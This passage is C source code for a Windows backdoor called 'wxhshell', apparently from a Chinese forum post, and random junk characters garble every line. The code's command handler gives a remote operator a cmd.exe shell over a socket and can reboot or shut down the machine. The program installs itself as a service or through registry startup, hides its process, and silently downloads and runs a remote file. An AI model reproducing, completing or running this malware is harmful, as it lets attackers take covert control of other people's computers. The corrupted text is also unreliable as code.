    switch(cmd[0]) { T'XRl@  
  W{`;][  
  // 帮助 j EX([J1  
  case '?': { {>:2Ff]O:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9:Y\D.M  
    break; REJ}T:  
  } BBX4^;t  
  // 安装 biJU r^n  
  case 'i': { LRs{nN.N  
    if(Install()) OygYP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #X)s=Y&5!T  
    else 1)%o:Xy o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k;)L-ge9  
    break; i|<*EXB"  
    } )z aMycW  
  // 卸载 DN!EsQ6  
  case 'r': { (GeJBw,Q  
    if(Uninstall()) i55']7+0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f7`y*9^  
    else w9 N Um  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3RD Q{&J:  
    break; zIL.R#|D=  
    } qP"m819m  
  // 显示 wxhshell 所在路径 d#(xP2  
  case 'p': { i,~{{XS<  
    char svExeFile[MAX_PATH]; PBUc9/  
    strcpy(svExeFile,"\n\r"); xGA%/dy,;  
      strcat(svExeFile,ExeFile); KT8Fn+  
        send(wsh,svExeFile,strlen(svExeFile),0); w<'mV^S  
    break; y.>r>o"0  
    } $FAl9  
  // 重启 J sH9IK:  
  case 'b': { /g_}5s-Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rsP1?Hxq  
    if(Boot(REBOOT)) Fv3fad@x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <mpkkCl,  
    else { Q{>{ e3z}  
    closesocket(wsh); $GcVC (]  
    ExitThread(0); F`3I~(  
    } ?(mlt"tPk  
    break; L:S[QwQu8  
    } O|8p #  
  // 关机 Q4UaqiL  
  case 'd': { s Ce{V*ua  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~O<Bs{8  
    if(Boot(SHUTDOWN)) SL*B `P~{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 D\I#g  
    else { s]}P jh8  
    closesocket(wsh); 3.8d"  
    ExitThread(0); c(@)V.o2  
    } s:Memvf  
    break; ,3x3&c  
    } Q|;8\5  
  // 获取shell O)W1.]GMbf  
  case 's': { )4DF9JpD  
    CmdShell(wsh); ? -6oh~W<  
    closesocket(wsh); f 1]1ZOb  
    ExitThread(0); OJ&~uV>2  
    break;  aj1Zi3h  
  } "/wZtc  
  // 退出 edA.Va|0  
  case 'x': { p6|0JBm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $yG=exh3v  
    CloseIt(wsh); uP<tP:  
    break; 2b2/jzO}J  
    } @<;0 h|  
  // 离开 _},u[+  
  case 'q': {  z7>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D/{hLp{  
    closesocket(wsh); %I?uO( @  
    WSACleanup(); .I<#i9Le  
    exit(1); V D-,)f  
    break; KxqJlben  
        } 6/ F]ncwG  
  } um ,Zt  
  } jgbE@IA@!'  
hjs[$ ,1  
  // 提示信息 fn]f$n*`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?o?~Df&  
} N"@aisi)  
  } 1r'skmxq  
!-)Hog5\  
  return; ZxLgV$U  
} <S <@V?h  
C/U^8,6\n  
// shell模块句柄 >+LFu?y  
int CmdShell(SOCKET sock) 4:WN-[xX  
{ [AA'Ko  
STARTUPINFO si; OLg=kF[[  
ZeroMemory(&si,sizeof(si)); -YPUrU[)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pm*FA8a7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kzcl   
PROCESS_INFORMATION ProcessInfo; oF7o"NHaWa  
char cmdline[]="cmd"; tY'fFz^Ho  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xz4T_-X8d  
  return 0; Y|stxeOC  
} H$^IT#  
-T$%MX  
// 自身启动模式 Q+YYj  
int StartFromService(void) j]~;|V5Z  
{ nJC/yS |  
typedef struct 6R1}fdHvP  
{ 8&t3a+8l  
  DWORD ExitStatus; *.qm+#8W  
  DWORD PebBaseAddress; $q%r}Cdg  
  DWORD AffinityMask; ^}8qPBz  
  DWORD BasePriority; ;n`SF~CU  
  ULONG UniqueProcessId; Ti:PKpc  
  ULONG InheritedFromUniqueProcessId; K8,Q^!5]"  
}   PROCESS_BASIC_INFORMATION; .ww~'5b0  
2<q.LQ}<  
PROCNTQSIP NtQueryInformationProcess; 41dB4Td5t  
:QGgtTEV""  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vVBu/)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^qvN:v$1  
u]RI,3Z  
  HANDLE             hProcess; xL&M8:  
  PROCESS_BASIC_INFORMATION pbi; #k?uYg8  
~?E.U,R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q#M@!&  
  if(NULL == hInst ) return 0; Pr|BhX  
$z[FL=h)?+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kMd1)6%6A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &&SA/;F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RKru hF  
:k&R]bc9  
  if (!NtQueryInformationProcess) return 0; 5\S s`#g  
^6g^ Q*"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iX (<ozH  
  if(!hProcess) return 0; ZMa@/\pf1  
d%?$UnQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v%^"N_]  
dA 03,s  
  CloseHandle(hProcess); lW6$v* s9  
,y5,+:Y ~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P-]u&m/6  
if(hProcess==NULL) return 0; :yFUlO:  
-?%81 z.Qq  
HMODULE hMod; d0U-:S-  
char procName[255]; !DU4iq_.  
unsigned long cbNeeded; -}:; EGUtd  
9:9gam  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3:wN^!A}ve  
C6` Tck!  
  CloseHandle(hProcess); UmEc")3  
b;xn0sDn#  
if(strstr(procName,"services")) return 1; // 以服务启动 j3=%J5<  
dBRK6hFC  
  return 0; // 注册表启动 Bl$Hg,in-  
} "($"T v2  
;+;%s D  
// 主模块 P z< \q;  
int StartWxhshell(LPSTR lpCmdLine) @{V bu  
{ $@utlIXA'  
  SOCKET wsl; 6>Dm cG:.  
BOOL val=TRUE; 2UbTKN  
  int port=0; M1HGXdN*B  
  struct sockaddr_in door; #EG$HX]  
wa1Qt  
  if(wscfg.ws_autoins) Install(); y\?NB:=%  
z*,J0)<Q  
port=atoi(lpCmdLine); A  r,fmq  
o{[w6^D7  
if(port<=0) port=wscfg.ws_port; |&u4Q /0  
dQljG.PiK  
  WSADATA data; m:-=K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~CX1WPMI:  
K6Z/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0&Z+P?Wb4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a'!p^/6?  
  door.sin_family = AF_INET; T"_f9?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3q-Xj:FP  
  door.sin_port = htons(port); BG/Q7s-?K  
y?P4EVknM3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )i/x%^ca$  
closesocket(wsl); (/$a*$  
return 1; Bcl6n@{2f  
} ,hSTR)  
SX1w5+p$C  
  if(listen(wsl,2) == INVALID_SOCKET) { F<0GX!p4u  
closesocket(wsl); O_ 4 j"0  
return 1; IRG-H!FV  
} )dh_eqnX  
  Wxhshell(wsl); }}b &IA#  
  WSACleanup(); 8[rZRc  
XMlcY;W  
return 0; b|Sjh;  
?v,4seRuz  
} 9.>he+  
4Ai#$SHLm  
// 以NT服务方式启动 Lj2Au_5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9 v 3%a3  
{ 0zc~!r~  
DWORD   status = 0; <wTD}.n  
  DWORD   specificError = 0xfffffff; 0#: St  
]k)h<)nY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v43FU3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (|dN6M-.K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HDQH7Bs  
  serviceStatus.dwWin32ExitCode     = 0; 8i~n;AhDs  
  serviceStatus.dwServiceSpecificExitCode = 0; vYNu=vnM  
  serviceStatus.dwCheckPoint       = 0; |2!cPf^8  
  serviceStatus.dwWaitHint       = 0; *\#?)q  
M0K+Vz=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _>u0vGF-  
  if (hServiceStatusHandle==0) return; 6b-E|;"]:^  
"w&G1kw5I  
status = GetLastError(); +`&-xq76  
  if (status!=NO_ERROR) M32Z3<  
{ l<-0@(x)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ov|/=bzro  
    serviceStatus.dwCheckPoint       = 0; WUK{st.z  
    serviceStatus.dwWaitHint       = 0; aTFT'(O,  
    serviceStatus.dwWin32ExitCode     = status; m\eYm;R Vj  
    serviceStatus.dwServiceSpecificExitCode = specificError; /SKgN{tWe  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J_7&nIH7  
    return; chszP{-@X  
  } d9pZg=$8  
4fL/,j/^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `VXC*A   
  serviceStatus.dwCheckPoint       = 0; r0:I  
  serviceStatus.dwWaitHint       = 0; u(C?\HaH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u&Cu"-%=M  
} &Xp<%[:  
:<PwG]LO  
// 处理NT服务事件,比如:启动、停止 [DSD[[ z[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S*'  
{ ;oivG)hJl  
switch(fdwControl) V1 O]L66  
{ (aX6jdvo  
case SERVICE_CONTROL_STOP: Np2.X+  
  serviceStatus.dwWin32ExitCode = 0; l~'NqmXe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cIOM}/gqv  
  serviceStatus.dwCheckPoint   = 0; hM[QR'\QS  
  serviceStatus.dwWaitHint     = 0; $;As7MI  
  { ^nN@@ \-5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 56!/E5qgW  
  } 'eg;)e:`b+  
  return; w ;]~2$  
case SERVICE_CONTROL_PAUSE: ] :n! \G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hWAZP=H  
  break; "!z9UiA  
case SERVICE_CONTROL_CONTINUE: IiB"F<&[j{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +^<-;/FZue  
  break; cwBf((~  
case SERVICE_CONTROL_INTERROGATE: m$H(l4wB>  
  break;  IA{I|g<  
}; R6E.C!EI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W?2Z31;7  
} /2fQM_ ,P  
MB!$s_~o#L  
// 标准应用程序主函数 <,huajQs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zOT(>1'  
{ u 4$$0 `  
egh_1Wg2a  
// 获取操作系统版本 ST25RJC  
OsIsNt=GetOsVer(); .!yw@kg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7!jb ID~  
e>Q_&6L  
  // 从命令行安装 b^C2<'  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'G8.)eTA'  
? yek\X  
  // 下载执行文件 (C60HbL  
if(wscfg.ws_downexe) { eG\`SKx_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9xM7X?  
  WinExec(wscfg.ws_filenam,SW_HIDE); /8"9 sf *  
} NTy0NH  
sFa5#w*>  
if(!OsIsNt) { $^louas&  
// 如果时win9x,隐藏进程并且设置为注册表启动 +Q!  
HideProc(); 5~E'21hJ  
StartWxhshell(lpCmdLine); KV]8o'  
} k \V6 q9*  
else V^E.9fs,  
  if(StartFromService()) wC>Xu.Z:  
  // 以服务方式启动 |z]--h  
  StartServiceCtrlDispatcher(DispatchTable); $i.)1.x  
else HRF;qR9v  
  // 普通方式启动  KSB{Z TE  
  StartWxhshell(lpCmdLine); qJq2Z.>hy  
.vk|aIG  
return 0; az;o7[rI^  
}
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只看该作者 1 发表于: 2006-10-10
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